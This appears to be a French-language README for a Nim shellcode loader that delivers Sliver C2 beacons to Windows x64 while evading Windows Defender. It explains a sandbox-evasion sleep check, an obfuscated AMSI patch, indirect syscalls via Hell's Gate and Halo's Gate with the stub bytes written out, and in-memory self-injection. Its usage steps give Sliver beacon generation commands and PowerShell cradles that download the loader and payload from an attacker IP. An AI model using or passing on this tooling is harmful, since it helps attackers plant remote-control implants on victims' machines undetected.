
Outil de chiffrement basé sur Nim pour obscurcir du shellcode et des payloads afin d'éviter Windows Defender.
Un chargeur de shellcode Sliver écrit en Nim ciblant Windows x64. Deux variantes couvrant les deux situations de livraison les plus courantes. Testé contre Windows Defender avec la protection en temps réel activée.
Lit un blob de shellcode chiffré depuis le disque, le déchiffre en mémoire et s'injecte lui-même. Utilisez-le lorsque vous disposez déjà d'une primitive de dépôt de fichier et que vous souhaitez un binaire petit et simple.
loader.exe <shellcode.bin> [key_hex iv_hex]
La clé et l'IV sont optionnels. S'ils sont omis, le fichier est traité comme du shellcode brut non chiffré.
Télécharge le blob chiffré depuis votre C2 via HTTP en utilisant la pile WinHTTP de Windows, le déchiffre en mémoire et s'injecte lui-même. Aucun fichier ne touche jamais le disque. Utilisez-le lorsque vous pouvez exécuter un binaire sur la cible mais ne pouvez pas déposer un second fichier de manière fiable.
Modifiez les constantes en haut de stageless/loader.nim avant la compilation :
c2Host = "C2_HOST"
c2Port = 443'u16
c2Path = "/payload.bin"
scKey = "..." # 64 caractères hexadécimaux de encrypt.py
scIV = "..." # 32 caractères hexadécimaux de encrypt.py
Le chargeur stageless appelle Sleep(5000) au démarrage et mesure le temps réel écoulé avec GetTickCount64. Si moins de 4500 ms se sont écoulées, le processus se termine. La plupart des environnements de bac à sable automatisés avancent rapidement ou sautent les appels Sleep, ce qui fait échouer la vérification. Cette vérification a lieu avant toute activité réseau ou exécution de shellcode, de sorte que les bacs à sable qui inspectent le comportement réseau ne voient rien.
amsi.nim patche AmsiScanBuffer à l'exécution à l'aide de deux couches d'obfuscation :
Masquage de chaîne via le hachage FNV-1a. La chaîne AmsiScanBuffer n'apparaît jamais dans le binaire. Au lieu de cela, son hash FNV-1a est calculé au moment de la compilation et stocké sous forme de constante. À l'exécution, le chargeur parcourt la table d'export d'amsi.dll, hache chaque nom d'export et le compare à la valeur stockée pour trouver l'adresse de la fonction sans jamais conserver la chaîne en mémoire.
Obfuscation XOR au moment de la compilation. Le nom de la DLL (amsi.dll) et les octets du patch (xor eax, eax; ret = 31 C0 C3) sont encodés en XOR au moment de la compilation en utilisant une clé aléatoire générée à chaque construction via un sous-processus Python. La clé est intégrée comme constante et les octets sont décodés à l'exécution immédiatement avant utilisation. Les octets bruts changent à chaque construction, brisant les signatures statiques sur la séquence de patch.
Le patch écrase les trois premiers octets de AmsiScanBuffer avec xor eax, eax; ret, faisant en sorte que chaque appel retourne AMSI_RESULT_CLEAN indépendamment de l'entrée.
encrypt.py chiffre le shellcode brut avec AES-256-CBC en utilisant une clé de 32 octets et un IV de 16 octets générés aléatoirement. Le chargeur déchiffre sur place en utilisant l'API BCrypt de Windows, donc aucune bibliothèque cryptographique tierce n'est nécessaire sur la cible.
La mémoire est allouée en PAGE_READWRITE, le shellcode y est écrit, puis la région est changée en PAGE_EXECUTE_READ avant l'exécution. Allouer directement en PAGE_EXECUTE_READWRITE est une signature bien connue que Defender et les EDR signalent explicitement. Séparer les phases d'écriture et d'exécution évite ce motif.
stageless/syscalls.nim contourne à la fois la couche d'API Win32 (kernel32.dll) et les hooks en espace utilisateur placés dans ntdll.dll par les EDR.
Résolution SSN. Au démarrage, le chargeur obtient l'adresse de base de ntdll et analyse sa table d'export PE, collectant chaque export Nt* trié par RVA. Pour chaque fonction NT dont nous avons besoin, il vérifie les quatre premiers octets :
4C 8B D1 B8 (mov r10, rcx; mov eax, imm32) signifie que le stub est propre et que le SSN est lu directement des octets 4-5. C'est Hell's Gate.SSN_voisin +/- distance. Les SSN s'incrémentent de un par stub dans l'ordre des adresses. C'est Halo's Gate.Localisation du gadget. Le chargeur scanne le premier stub Nt* propre qu'il trouve pour la séquence d'octets 0F 05 C3 (syscall; ret). Cela donne une adresse dans la section .text adossée à l'image de ntdll que nous pouvons réutiliser.
Génération de stub. Pour chaque fonction requise, un stub de 22 octets est écrit dans une seule page RW qui est changée en RX avant utilisation :
4C 8B D1 mov r10, rcx
B8 xx xx 00 00 mov eax, <SSN>
FF 25 00 00 00 00 jmp qword ptr [rip+0]
xx xx xx xx xx xx xx xx adresse du gadget
Le jmp [rip+0] déréférence les 8 octets immédiatement après (l'adresse du gadget) et redirige l'exécution dans la séquence syscall; ret existante de ntdll. L'instruction syscall s'exécute depuis le .text de ntdll plutôt que depuis notre allocation anonyme, déjouant tout suivi au niveau du noyau de la région mémoire qui a émis le syscall.
Les quatre fonctions couvertes par les appels système indirects sont NtAllocateVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx et NtWaitForSingleObject.
Après le déchiffrement, le chargeur stageless alloue une région RW dans son propre processus via NtAllocateVirtualMemory, copie le shellcode avec copyMem, change la région en RX via NtProtectVirtualMemory, et lance un thread via NtCreateThreadEx. Le thread principal se bloque alors indéfiniment sur NtWaitForSingleObject, gardant le processus en vie pendant que les goroutines du beacon s'exécutent. Les quatre appels passent par les stubs d'appels système indirects décrits ci-dessus.
L'auto-injection maintient la surface d'appel minimale. Il n'y a pas d'appels d'API inter-processus (WriteProcessMemory, CreateRemoteThread, etc.), qui sont les principaux vecteurs de détection pour l'injection distante classique.
AmsiScanBuffer via FNV-1a, écraser avec xor eax, eax; retsyscall; ret, écrire les stubsNtAllocateVirtualMemory dans son propre processus (RW) via appel système indirectNtProtectVirtualMemory vers PAGE_EXECUTE_READ via appel système indirectNtCreateThreadEx via appel système indirectNtWaitForSingleObject sur le handle du thread via appel système indirectVirtualAlloc (RW), copier le shellcode, VirtualProtect vers RXSur votre machine de build Linux :
nimble install winim)x86_64-w64-mingw32-gcc)pip install pycryptodome)[server] sliver > mtls --lhost 10.10.14.42 --lport 443
[server] sliver > generate beacon --mtls 10.10.14.42:443 --os windows --arch amd64 --format shellcode --skip-symbols beacon
python3 encrypt.py beacon.bin
# key: 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997
# iv: 83b82994e8c512d536f7d42e89d6e761
Éditez stageless/loader.nim et définissez c2Host, c2Port, c2Path, scKey, scIV, puis depuis la racine du projet :
# stageless
nim c -d:release -o:bins/loader.exe stageless/loader.nim
# stager
nim c -d:release -o:bins/loader.exe stager/loader.nim
Compilez toujours depuis la racine du projet afin que seul le nim.cfg racine soit chargé. La sortie est un exécutable Windows x64 lié statiquement sans dépendances DLL externes au-delà des bibliothèques système standard.
Stageless : servez le blob chiffré via HTTP sur le port correspondant à c2Port :
cd bins && python3 -m http.server 443
Stager : transférez les deux fichiers vers la cible :
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/loader.exe", "C:\Windows\Temp\loader.exe")
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/beacon_enc.bin", "C:\Windows\Temp\beacon.bin")
Stageless :
loader.exe
Stager avec chiffrement :
loader.exe beacon.bin 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997 83b82994e8c512d536f7d42e89d6e761
Stager sans chiffrement :
loader.exe shellcode.bin
Si la livraison se fait via un cradle de téléchargement PowerShell, AMSI analysera le script avant que le chargeur ne s'exécute. Patchez d'abord AMSI dans votre session PS :
python3 gen_amsi.py
Collez la sortie dans la session PS avant de télécharger ou d'exécuter quoi que ce soit. Le script résout AmsiScanBuffer par hash de table d'export, donc la chaîne n'apparaît jamais en texte clair, et tous les octets du patch sont encodés en XOR avec une clé aléatoire par exécution.
BCryptSetProperty pour le mode de chaînage retourne STATUS_INVALID_PARAMETER mais BCrypt utilise par défaut CBC, le déchiffrement fonctionne correctementsyscall dans les stubs s'exécute depuis l'intérieur de la section .text de ntdll (adossée à l'image, signée Microsoft), pas depuis la page de stub, déjouant le suivi au niveau du noyau de l'origine du syscallVous pouvez trouver plus de détails sur les mécanismes de Defender, les techniques et d'autres outils sur mon blog